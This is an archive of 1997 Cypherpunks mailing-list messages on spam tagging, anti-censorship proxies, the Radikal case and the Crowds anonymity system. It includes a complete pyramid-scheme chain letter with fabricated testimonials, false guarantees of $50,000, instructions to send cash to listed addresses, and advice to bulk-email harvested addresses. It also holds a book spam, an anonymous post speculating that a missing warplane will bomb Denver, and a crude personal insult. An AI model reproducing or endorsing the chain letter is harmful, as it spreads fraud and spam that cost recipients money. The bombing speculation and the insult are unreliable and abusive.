 vaxbl15.    put on business cards
etc.

Where crypto comes in:
You could actually have the tagged field be the encoded encryption
of the data on the right.  You'd still probably want a list to
weed out bogus addresses that decrypt to nonsense.  Or you could use
encryption to embed a tag marking it as "good" -- a
checksum, fingerprint, signature, whatever.

With an adequate MUA, you could even have it pull up the associated
description with the email as an X-source field or something.

I may not have time to implement this, which is why I threw it out here.
If you do implement it, be nice and put my email/web ptr somewhere
in the credits.  And send me a copy; I hate junk email.
CC me in your comments; this list is too voluminous.

Sorry about the long sig but the quote is appropriate.
--
VaX#n8 | http://www.paranoia.com/~vax | League of Non-aligned Wizards
``In the meantime, there may be a role for individuals who know their
  way around the place.  A few hacks can make a lot of difference
  in this situation.  A freelance hacker could get a lot of shit done,
  years before the giant software factories bestir themselves to deal
  with the problem.'' -- Neal Stephenson, Snow Crash




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: COMPUTER.SOLUTIONS@SWBELL.net
Date: Thu, 17 Apr 1997 09:44:56 -0700 (PDT)
To: turbine69@aol.com
Subject: Don't Wait Act Now
Message-ID: <041297>
MIME-Version: 1.0
Content-Type: text/plain






   Dear friend,

   The following income opportunity is one you may be interested in taking a
   look at.It can be started with VERY MINIMAL outlay and the income return
   is TREMENDOUS!

   <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> 
   You are about to make at least $50,000 - In less than 90 days
   Read the enclosed program...THEN READ IT AGAIN!...
   <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <>

   The enclosed information is something I almost let slip through my
   fingers. Fortunately,something later I re-read everything and gave
   some thought and study to it.

   My name is Richard Gross. Two years ago,the corporation I
   worked at for the past twelve years down-sized and my position was
   eliminated.After unproductive job interviews, I decided to open my
   own business. Over the past years,I incurred many unforeseen financial
   problems. I owed my family,friends, and creditors over $35,000. The
   economy was taking a toll on my business and I just couldn't seem to
   make ends meet.I had to refinance and borrow against my home to
   support my family and struggling business. I truly believe it was
   wrong for me to be in debt like this.AT THAT MOMENT something
   significant happened in my life and I am writing to share my experience
   in hopes that this will change your life FOREVER....FINANCIALLY!!!

   In mid-December,I received this program via email. Six months prior
   to receiving this program I had been sending away for information on
   various business opportunities. All of the programs I received,in my
   opinion,were not cost effective.They were either too difficult for
   me to comprehend or the initial investment was too much for me to risk
   to see if they worked or not. One claimed i'd make a million dollars
   in one year...it didn't tell me I'd have to write a book to make it.

   But like I was saying, in December of '95 I received this program.I
   didn't send for it, or ask for it, they just got my name off a mailing
   list.THANK GOODNESS FOR THAT!!! After reading it several times, to
   make sure I was reading it correctly,I couldn't believe my eyes. Here
   was a MONEY-MAKING PHENOMENON.It could invest as much as I wanted to
   start, without putting me further in debt.After I got a pencil and
   paper and figured it out,I would at least get my money back. After
   determining that the program is LEGAL and NOT A CHAIN LETTER,I decided
   "WHY NOT".

   Initially I sent out 10,000 emails. It cost me about $15.00 for
   my time on-line.The great thing about email is that I didn't need any
   money for printing to send out the program,only the cost to fulfill my
   orders. I am telling you like it is, I hope it doesn't turn off,but
   I promised myself that I would not "rip-off" anyone,no matter how
   much money it cost me!

   A good program to help do this is Ready Aim Fire,
   an email extracting and mass mail program
   @ http://microsyssolutions.com/raf/

   Another more advanced one can be found at:
   http://www.extractor.com/ads.html

   In less than one week, I was starting to receive orders for REPORT#1
   By January 13th,I had received 26 orders for REPORT#1. When you read
   the GUARANTEE in the program,you will see that "YOU MUST RECEIVE 15 TO
   20 ORDERS FOR REPORT#1 WITHIN TWO WEEKS.IF YOU DON'T SEND OUT MORE PROGRAMS
   UNTIL YOU DO! "My first step in making $50,000 in 20 to 90 days was done.
   By January 30th, I had received 196 orders for REPORT#2.If you go back to
   the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN
   TWO WEEKS.IF NOT,SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS,
   THE REST IS EASY,RELAX,YOU WILL MAKE YOUR $50,000 GOAL"Well,I had 196 orders
   for REPORT#2 96 more than I needed. So I sat back and relaxed. By march 19th,
   of my emailing of 10,000,I received $58,000 with more coming in every day.

   I paid off ALL my debts and bought a much needed new car.Please take
   time to read the attached program,IT WILL CHANGE YOUR LIFE FOREVER!
   Remember,it won't work if you don't try it.This program does work,
   but you must follow it EXACTLY! Especially the rules of not trying to
   place your name in different place. It doesn't work,you'll lose out
   on a lot of money! REPORT #2 explains this.Always follows the guarantee,
   15 to 20 orders for REPORT #1,and 100 or more orders for REPORTS #2
   and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF
   THAT IT WORKS!!!

   If you choose not to participate in this program, I'M sorry. It really
   is a great opportunity with little cost or risk to you. If you choose
   to participate,follow the program and you will be on your way to
   financial security.

   If you are a fellow business owner and you are in financial trouble
   like I was,or you want to start your own business,consider this a
   sign.I DID!

                                            Sincerely,
                                            Richard Gross

   P.S. Do you have any idea what 11,700 $5 bills(58,000)look like piled
   up on a kitchen table? IT'S AWESOME

   "THREW IT AWAY"

   "I had received this program before.I threw it aways,but later
   wondered if I shouldn't have given it a try. Of course,I had no idea
   who to contact to get a copy,so I had to wait until I was emailed
   another copy of the program.Eleven months passed,hen it came.I
   DIDN'T throw this one aways.I made $41,000 on the first try

                                            Dawn W., Evansville,IN

   "NO FREE LUNCH"

   "My late father always told me,'remember,Alan,there is no free lunch
   in life.You get out of life what you put into it.' Through trial and
   error and a some what slow frustrating start, Ifinally figured it out
   The program works very well,I just had to find the right target group
   of people to email it to.So far this year,I have made over $63,000
   using this program. I know my dad would have been very pround of me."

                                                 Alan b., Philadelphia,PA

   A PERSONAL NOTE FROM THE ORIGINATOR OR THIS PROGRAM

   By the time to read the enclosed information and looked over the
   enclosed program and reports,you should have concluded that such a
   program, and one that is legal, could not have been created by an amateur.

   Let me tell you a little about myself.I had a profitable business for
   ten years.Then in 1979 my business began falling off. I was doing
   the same things that were previously successful for me,but it wasn't
   working. Finally,I figured it out. It wasn't me, it was the economy.
   Inflation and recession had replaced the stable economy that had been
   with us since 1945. I don't have to tell you what happened to the
   unemployment rate...because many of you know from first hand experience
   There were more failures and bankruptcies than ever before.

   The middle class was vanishing.Those who knew what they were doing
   invested wisely and moved up. Those who did not, including those who
   never had anything to save or invest,were moving down into the ranks
   of the poor.As the saying goes,"THE RICH GET TRICHER AND THE POOR GET
   POORER"The traditionalmethods of making money will never allow you
   to " move up" or "get rich",inflation will see to that.

   Youhave just received information that can give you financial freedom
   for the rest of your life,with "NO RISK" and "JUST A LITTLE BIT OF
   EFFORT." You can make more money in the next few months than you
   have ever imagined.

   I should also point out that I will not see a penny of your money,
   nor anyone else who has provided a testimonial for this program.
   I have already made over FOUR MILLION DOLLARS! I have retired from
   the program after sending out over 16,000 programs. Now I have several
   offices which market this and several other programs here in the US and
   overseas. Bythe spring, we wish to market the 'internet' by a partnership
   with AMERICA ON LINE.

   Follow the program EXACTLY AS INSTRUCTED.Do not change it in any way.
   Itworks exceedingly well as it is now.Remember to email a copy of
   this exciting program to everyone that you can think of.One of the
   people you send this to may send out 50,000...and your name will be on
   every one of them!.Remember though,the more you send out,the more
   potential customers you will reach.

   So my friend,I have given you the ideas,infomation,materials and
   opportunity to become financially independent,IT IS UP TO YOU NOW!

   "THINK ABOUT IT"

   Before you delete this program from your mailbox,as I almost did, take
   a little time to read it and REALLY THINK ABOUT IT. Get a pencil
   and figure out what could happen when YOU participate.Figure out the
   worst possible response and no matter how you calculate,you will still
   make a lot of money! Definitely get back what you invested.Any
   doubts you have will vanish when your first orders come in.IT WORKS!

                                       Paul Johnson, Raleigh,NC

   HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

   Let's say that you decide to start small, just to see how it goes,and
   we'll assume you and all those involved send out 2,000 programs each.
   Let's also assume that the mailing receives a .5% responce.Using a
   good list the response could be much better.Also many people will
   send out hundreds of thousands of programs instead of 2,000.But
   continuing with this example, you send out 2,000 programs.With a
   5% response,that is only 10 orders for REPORT #1.Those 10 people
   respond by sending out 2,000 programs each for a total of 20,000.
   Out of those .5%, 100 people respond and order REPORT #2.Those 100
   mail out 2,000 programs each for a total of 200,000.The .5% response
   tothat is 1,000 orders for REPORT #3.Those 1,000 send out 2,000
   programs each for a 2,000,000 total.The .5% response to that is
   10,000 orders for REPORT #4.That's 10,000 five dollar bills for you.
   CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
   50,000 for a total of 55,550!!!!

   REMEMBER FRIEND,THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
   MAIL TO WILL DO ABSOLUTELY NOTHING...AND TRASH THIS PROGRAM!
   DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
   OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.Believe
   me,many people will do that and more!By the way,your cost to participate
   in this practically nothing. You obviously already have an internet
   connection and email is FREE!!! REPORT#3 will show you the best
   methods for bulk emailing and purchasing email lists.

   THIS IS A LEGITIMATE, MONEY MAKING OPPORTUNITY. It does not require you
   to come in contact with people, do any hard work,and best of all
   you never have to leave the house except to get the mail.If
   you believe that someday you"ll get that big break that you've been
   waiting for, THIS IS IT! Simply follow the instructions, and your
   dream will come true.This multi-level email order marketing program
   works perfectly...100% EVERY TIME.Email is the sales tool of the
   future.Take advantage of this non-commercialized method of
   advertising NOW!! The longer you wait,the more people will be doing
   business using email. Get your piece of this action!!


   MULTI-LEVEL MARKETING (MLM) has finally gained respectability.It is
   being taught in the Harvard Business School,and both Stanford Research
   and The Wall Street Journal have stated that between 50% and 65% of all
   goods and services will be sold throughout Multi-level Methods by the
   mid to late 1990's.This is a Multi-Billion Dollar industry and of the
   500,000 millionaires in the US,20% (100,000) made their fortune in 
   the last several years in MLM.Moreover, statistics show 45 people become
   millionaires everyday through Multi-Level Marketing

   INSTRUCTIONS

   We at Erris Mail Order Marketing Business, have a method of raising
   capital that REALLY WORKS 100% EVERY TIME. I am sure that you could
   use $50,000 to $125,000 in the next 20 to 90 days.Before you say
   "BULL",please read the program carefully.

   This is not a chain letter,but a perfectly legal money making
   opportunity. Basically, this is what we do: As with all multi-level
   business,we build our business by recruiting new partners and selling
   our products. Every state in the USA allows you to recruit new multi-
   level business partners, and we offer a product for EVERY dollar sent.
   YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL,so you are not
   involved in personal selling. You do it privately in your own home,
   store or office


   This is the GREATEST Multi-level Mail Order Marketing anywhere:

   step (1)   Order all four REPORTS listed by NAME AND NUMBER.Do this
              by ordering the REPORT from each of the four names listed
              on the next page.For each REPORT,send $5 CASH and a SELF-
              ADDRESSED,STAMPED envelope (business size #10) to the
              person listed for the SPECIFIC REPORT. International orders
              should also include $1 extra for postage.It is essential
              that you specify the NAME and NUMBER of the report requested
              to the person you are ordering from.You will need ALL FOUR
              REPORTS because you will be REPRINTING and RESELLING them
              DO NOT alter the names or sequence other than what the
              instructions say. IMPORTANT: Always provide same-day
              service on all orders.
  
   step (2)   Replace the name and address under report #1 with
              yours,moving the one that was there down to REPORT#2.
              Drop the name and address under REPORT#2 to REPORT#3,
              moveing  the one that was there to REPORT#4. The name
              and address that where under REPORT#4 is dropped from
              the list and this party is no doubt on the way to the bank.
              When doing this,make certain you type the names and addresses
              ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

   step (3)   Having made the required changes in the NAME list,save it
              as a text(.txt) file in it's own directory to be used with
              whatever email program you like.Again,REPORT #3 will tell
              you the best methods of bulk emailing and acquiring email
              lists.

   step(4)    Email a copy of the entire program(all of this is very important)
              to everyone whose address you can get your hand on.Start with
              friends and relatives since you can encourage them to take
              advantage of this fabulous money-making opportunity. That's what
              I did. And they love me now,more than ever.Then,email to anybody
              and everyone !Use your imagination! You can get email addresses from
              companies on the internet who specialize in email mailing list.These
              are very cheap,100,000 addresses for around $35.00.


   IMPORTANT: You won't get a good response if you use an old list,so always
   request a FRESH,NEW list.You will find out where to purchase these lists
   when you order the four REPORT.

   ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

   REQUIRED REPORTS

   ***Order each REPORT by NUMBER and NAME***

   ALWAYS SEND A SELF-ADDRESSED,STAMPED ENVELOPE
   AND $5 CASH FOR EACH ORDER REQUESTING THE
   SPECIFIC REPORT BY NAME AND NUMBER

   -------------------------------------------------
   REPORT #1
   "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

   ORDER REPORT #1 FROM:
   
   Computer Solutions	
   PO Box 520851
   Independence,Mo 64052  
   
   -------------------------------------------------
   REPORT #2
   "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

   ORDER REPORT #2 FROM:

   Aaron Gross
   5631 e 40 hwy lot #51
   Kansas City, Mo 64128
   -------------------------------------------------
   REPORT #3
   "SOURCES FOR THE BEST MAILING LISTS"

   ORDER REPORT #3 FROM:

   Richard Gross Jr
   3308 S Emery
   Independence, Mo 64055
   -------------------------------------------------
   REPORT #4
   "EVALUATING MULTI-LEVEL SALES PLANS"

   ORDER REPORT #4 FROM

   LaChance Information System
   PO BOX 308
   Placida,FL 33946-0308
   -------------------------------------------------
   CONCLUSION

   .I am enjoying my fortune that I made by sending out this program.
   You too,will be making money in 20 to 90 days,if you follow the
   SIMPLE STEPS outlined in this mailing.

   To be financially independent is to be FREE. Free to make financial
   decisions as never before.Go into business,get into investments,
   retire or take a vacation.No longer will a lack of money hold you
   back.

   However,very few people reach financial independence,because when
   opportunity knocks, they choose to ignore it.It is much easier to say
   "NO" than "YES", and this is the question that you must answer.Will
   YOU ignore this amazing opportunity or will you take advantage of it?
   If you do nothing, you  have indeed missed something and nothing will
   change. Please re-read this  material, this is a special opportunity.
   If you have any questions, please feel free  to write to the sender
   of this information. You will  get a prompt  and information reply.

   My method is simple. I sell thousands of people a product for $5 that
   costs me pennies to produce and email.I should also point out that
   this program is legal and everyone who participates WILL make money.
   This is not a chain letter or pyramid scam. At times you have probably
   received chain letters,asking you to send money, on faith , but getting
   NOTHING in return, NO product what-so-ever! Not only are chain letters
   illegal,but the risk of someone breaking the chain makes them quite
   unattractive.

   You are offering a legitimate product to your people.After they
   purchase the product from you,they reproduce more and resell them.
   It's simple free enterprise. As you learned from the enclosed material
   the PRODUCT is a series of four FINANCIAL AND BUSINESS REPORTS. The
   information contained in these  REPORTS will not only help you in making
   your participation in this program more rewarding,but will be useful
   to you in any other business decisions you make in the years ahead.
   You are also buying the rights to reprint all of the REPORT,which
   will be ordered from you by those to whom you mail this program.The
   concise one and two page REPORTS you will be buying can easily be
   reproduced at a local copy center for a cost off about 3 cents a copy.
   Best wishes with the program and good luck!


   "IT WAS TRULY AMAZING"

   "Not being the gambling type, it took me several weeks to make up my
   mind to participate in this program. But conservative as I am,I
   decided that the initial investment was so little that there was no way
   that I could not get enough orders to at least get my money back. BOY,
   was I ever surprised when I found my medium sized post office
   box crammed with orders! I will make more money this year than any ten
   years of my life before."

                                             Mary Riceland,Lansing,MI

   TIPS FOR SUCCESS

   Send for your four REPORTS immediately so you will have them when the
   orders start coming in. When you receive a $5 order, you MUST send out
   the product/service to comply with US Postal and Lottery laws.Title
   18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR
   SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

   WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

   1. NAME YOUR NEW COMPANY.YOU CAN USE YOUR OWN NAME IF YOU DESIRE.

   2. GET A POST OFFICE BOX (PREFERRED)

   3. EDIT THE NAMES AND ADDRESSES ON THE PROGRAM.YOU MUST REMEMBER,
      YOUR NAME AND ADDRESS GO NEXT TO REPORT#1 AND THE OTHERS ALL
      MOVE DOWN ONE,WITH THE FOURTH ONE BEING BUMPED OFF THE LIST.

   4. OBTAIN AS MANY EMAIL ADDRESSES AS POSSIBLE TO SEND UNTIL YOU
      RECEIVE THE INFORMATION ON MAILING LIST COMPANIES IN REPORT #3

   5. DECIDE ON THE NUMBER OF PROGRAM YOU INTEND TO SEND OUT.THE MORE
      YOU SEND,AND THE QUICKER YOU SEND THEM,THE MORE MONEY YOY WILL MAKE

   6. AFTER MAILING THE PROGRAMS,GET READY TO FILL THE ORDERS

   7. COPY THE FOUR REPORTS SO YOU ARE ABLE TO SENT THEM OUT AS
      SOON AS YOU RECEIVE AN ORDER.IMPORTANT:ALWAYS PROVIDE
      SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

   8. MAKE CERTAIN THE LETTER AND REPORTS ARE NEAT AND LEGIBLE.


       YOUR GUARANTEE

    The check point which GUARANTEES your success is simply this:you must
    receive 15 to 20 orders for REPORT #1. Ths is a must!!! If you don't
    within two weeks, email out more programs until you do.Then a couple
    of weeks later you should receive at least 100 orders for REPORT #2,if
    you don't,send out more programs until you do. Once you have received
    100 or more orders for REPORT #2,(take a deep breath) you can sit back
    and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000.Mathematically
    it is a proven guarantee . Of those who have participated in the program
    and reached the above GUARANTEES-ALL have reached their $50,000 goal.Also
    remember, every time you name is moved down the list you are in front of a
    different REPORT,so you can keep of your program by knowing what people are
    ordering from you.IT'S THAT EASY, REALLY, IT IS!!!












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: noem@internet.com
Date: Thu, 17 Apr 1997 11:39:52 -0700 (PDT)
To: noreplies@email.com
Subject: HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE
Message-ID: <0000000000.AAA000@internet.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE

As a computer owner you have Web Wealth at your fingertips... 
In a few short years virtually every business will be on the Web ...
Don't be left behind... Experts predict that 95 percent of
Americans will be on the Internet within 15 years (about where television is today)

Dr. Jeffrey Lant, the author of 14 best selling business books, tells you everything 
you need to know to make Really Big Money on Your Web Site... His NEW book, 
"Web Wealth"  is a fact - filled goldmine of marketing information... If your serious 
about making money on the Web, this 248 - page power packed book is an absolute
necessity...

Dr. Lant tells you:
*Why almost every business will be on the Web 
*Why you can't afford to NOT be on the Web 
*Why you must be associated with and Internet Mall
*Why setting up a solo home page makes no sense at all
*Why treating a Web Site like a standard print ad is a big mistake
*Why the secrets of netvertising generates maximum traffic & results
*How to promote your Web Site within the internet
*How to promote your Web Site off the Internet 
*How to build your business with Facts-On-Demand technology 
*How you can profit from the Internet, even if your running a local service business
*How you can profit if your in network marketing 
*How publications can forget big price increases in paper, production and postage,
  and make huge profits on the web

This MUST-HAVE 8x10 248 page book is a steal at only $27.95 
(this price includes shipping & handling). 

10 day money back guarantee.  If you are not completely satisfied return the book 
within 10 days any your money will be returned in full.

Send your order TODAY... simply write "Web Wealth" with your name and address 
on a sheet of paper... Send your check for only $27.95 NOW and take the high
road to Web Wealth on the information superhighway...

Send your order to:
                                Mail House Publishing 
                                 403 Nasa Road 1 East 
                                 Suite 210 / Dept WW21
                                 Houston, Texas 77598








</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 17 Apr 1997 03:54:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Internet Free Europe
In-Reply-To: <v03007804af7b35e1cd0e@[207.167.93.63]>
Message-ID: <9704171054.AA39734@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


http://nanjing.spc.uchicago.edu:8001/ is a proxy directed against
Chinese internet censorship.  It comes with Unix sources.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 17 Apr 1997 14:05:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "Show me an example o
Message-ID: <TCPSMTP.17.4.17.-16.58.36.2780269260.1607850@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:shamrock@netcom.com to Harka <=-

 In> The recent issue of Radikal, the publication that caused xs4all to be
 In> blocked by the German government, contains an article on using PGP to
 In> secure the internal communications of the German leftist group issuing
 In> the publication. Radikal also contains an article on sabotaging the
 In> German rail system.

The latter, sabotaging the railway, is actually the thing, they're
going off about. That is information considered illegal, since it
advocates violence and criminal acts.
One of the leaders of the Party for Democratic Socialism, Angela
Marquardt, was indicted under the same background for putting a link
on her homepage to http://www.xs4all/~radikal/.
The argumentation of the proscecutors was, that she personally by
putting a link to that magazin (article) was promoting such violent
acts.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... The Internet recognizes censorship as damage...and routes around it.
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1aSSjltEBIEF0MBAQGR+gf/RW6ACw2ULNQhjT+0kUw2A2EEvD+/s1UJ
igVK63VyUdpRiCxKBmAcrbNtDZQ4mxruFsIvVNOG8MtRJT2h3sdCDdk1A6ez4008
Vx+ZL76lrf/x7ESN0/GXw7oAiUY55+sigKgc5mm09JZAb2gXugQ+tCPi6VTNXWcH
0zwEAENDxFj++rgdJ8/yJEOHw67/IP9J+fPo9/3pEk8GEY7awh90JblV17ec5h/a
Og2iHG1ocZ2p6RH57AHqHHxPvdUcyidXIXBYOQncxj+8GXNkL+Mdjx/MYbrlAuPp
fSJMVySMTglghcj4Svrw3z63L/cbkQxZu5iCPsxtA0vkaPG8OdqsZg==
=WLao
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 17 Apr 1997 14:11:28 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Germany in the News
Message-ID: <3.0.1.32.19970417170556.007dfe80@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


From: The Economist <null@postbox.co.uk>
Subject: Politics This Week (April 11th - April 17th 1997)
Date: Thu, 17 Apr 1997 20:09:01 +0100

[snip]

Iranians demonstrated against a German court's verdict that found their
leaders guilty of ordering the murder of Kurdish dissidents. Some 3,000
veterans of the war with Iraq, disabled by chemical gas, called for
justice against German firms that sold it to Iraq.

[snip]

*************************************************************************
This is a free newsletter published by The Economist newspaper.   To find out 
where best to direct queries to The Economist, send a blank e-mail message
to help@economist.com

To  cancel  your  subscription,  send  an  e-mail  with  the  message  "leave 
economist-politics"  to  newscaster@postbox.co.uk    
To start receiving Politics This Week, send an e-mail with the message
"join economist-politics" to newscaster@postbox.co.uk
Alternatively, you can cancel your subscription (or subscribe at any time)by
visiting http://www.economist.com/mailing/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Thu, 17 Apr 1997 14:45:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: A new system for anonymity on the web
Message-ID: <199704172142.RAA25706@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain


We are developing a new system called "Crowds" for achieving anonymity
on the web.  A preliminary description of the system can be found on
our web pages.  Any comments/criticisms are welcomed and appreciated.

Mike Reiter (http://www.research.att.com/~reiter/)
Avi Rubin   (http://www.research.att.com/~rubin/)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: InterNet Free Terra <carljohn@sk.sympatico.ca>
Date: Thu, 17 Apr 1997 17:39:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: InterNet Free Terra
Message-ID: <3356C21B.3374@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/html

Title: InterNet Free Terra






InterNet Free Terra

Beyond the ElectroMagnetic Curtain

"The Internet interprets
censorship as damage, and routes around it"
John Gilmore


Freedom Mirrors of Censored
Sites


InterNet Free Europe
Radikal



InterNet Free China
Famous Blocked Websites
(Proxy Server)


"National borders aren't
even speed bumps on the information superhighway."
Timothy C. May

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To Provide Information About Mirrors

Of Other Censored Sites
carljohn@sk.sympatico.ca

The Final Frontier
http://www3.sk.sympatico.ca/carljohn/








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 17 Apr 1997 20:38:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Son of Flubber
Message-ID: <199704180338.UAA22722@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 3:51 AM -0800 4/17/97, TruthBomber wrote:
> >  Of course, the government isn't nervous about the loyalty of
> >their own military personnel. That certainly couldn't have
> >anything to do with them clamping down so hard on the release
> >of details of the trial.
> 
> Or why NORAD (North American Aerospace Defense Command) and Falcon AFB,
> both also in Colorado, have been placed on special alert. Military flights
> near both sites have been sharply limited, and visitors are being screened
> with more attention.
> 
> Avoid soft targets on April 19th, Saturday.

  Capt. Button's A-10 changed course for an approach toward Vail/Denver
and then turned around briefly, before resuming its approach pattern.
  While this raises the scary prospect that his warplane was intercepted
and had to take evasive action, thereafter being shot down, what about
an equally scary scenario:
  Perhaps he turned around in order to adjust his *landing* approach.

  If I was NORAD, I'd be checking the local bars and construction
companies around Vail, trying to find out if anyone has built any 
unusually large parking garages next to an open field.

  It's an open secret that McVeigh timed the bombing to coincide
with the execution of a fellow militant from the Elohim City
cabal. Who says mad bombers aren't sentimental?

  Perhaps the missing warplane will surface on April 19, dropping
bombs on Denver, and trailing a banner reading, "Happy Anniversary."

TruthBomber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Apr 1997 18:42:00 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: InterNet Free Terra
In-Reply-To: <3356C21B.3374@sk.sympatico.ca>
Message-ID: <199704180139.UAA27280@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3356C21B.3374@sk.sympatico.ca>, on 04/17/97 at 06:36 PM,
   InterNet Free Terra <carljohn@sk.sympatico.ca> said:


><BASE HREF="file:///C|/My
>Documents/Carljohn/InterNetFreeTerra/InterNetFreeTerra.htm">

[HTML Sniped]

Could you please post in text? At least post in text/alternitive MIME
format so we can read your messages.

Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: For a good time, call 1-800-3IBMOS2

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JixfmS0DtguDSAcUVNv1tj6Lc8dymwQAdHUQnz6uNx5u3/JgLdHGXJjwgKAjdZU2
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: InterNet Free Terra <carljohn@sk.sympatico.ca>
Date: Thu, 17 Apr 1997 19:45:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Plain Text / InterNet Free Terra
Message-ID: <3356E038.1636@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


                            InterNet Free Terra
                     Beyond the ElectroMagnetic Curtain

    "The Internet interprets censorship as damage, and routes around it"
                                John Gilmore

                      Freedom Mirrors of Censored Sites

                            InterNet Free Europe
                                  Radikal

                             InterNet Free China
                   Famous Blocked Websites (Proxy Server)

 "National borders aren't even speed bumps on the information superhighway."
                               Timothy C. May

               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                    To Provide Information About Mirrors
                           Of Other Censored Sites
                          carljohn@sk.sympatico.ca

                             The Final Frontier
                   http://www3.sk.sympatico.ca/carljohn/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 17 Apr 1997 17:59:20 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Meet-in-the-middle attack
Message-ID: <199704180059.UAA18780@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Maya studied yoga back-streching exercises for five years so 
he could blow himself (nobody else will).

           /\
        __/__\__
         | 00 |  Tim Maya
        |:  \ :|
         | \_/|
          \__/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 17 Apr 1997 12:03:29 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Internet Free Europe
In-Reply-To: <9704171054.AA39734@public.uni-hamburg.de>
Message-ID: <9704171903.AA13876@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Chinese internet censorship.  It comes with Unix sources.

Argll! majordomo@infonex is still eating lines.

I ment to say:

  http://nanjing.spc.uchicago.edu:8001/ is a proxy directed against
  Chinese internet censorship.  It comes with Unix sources.




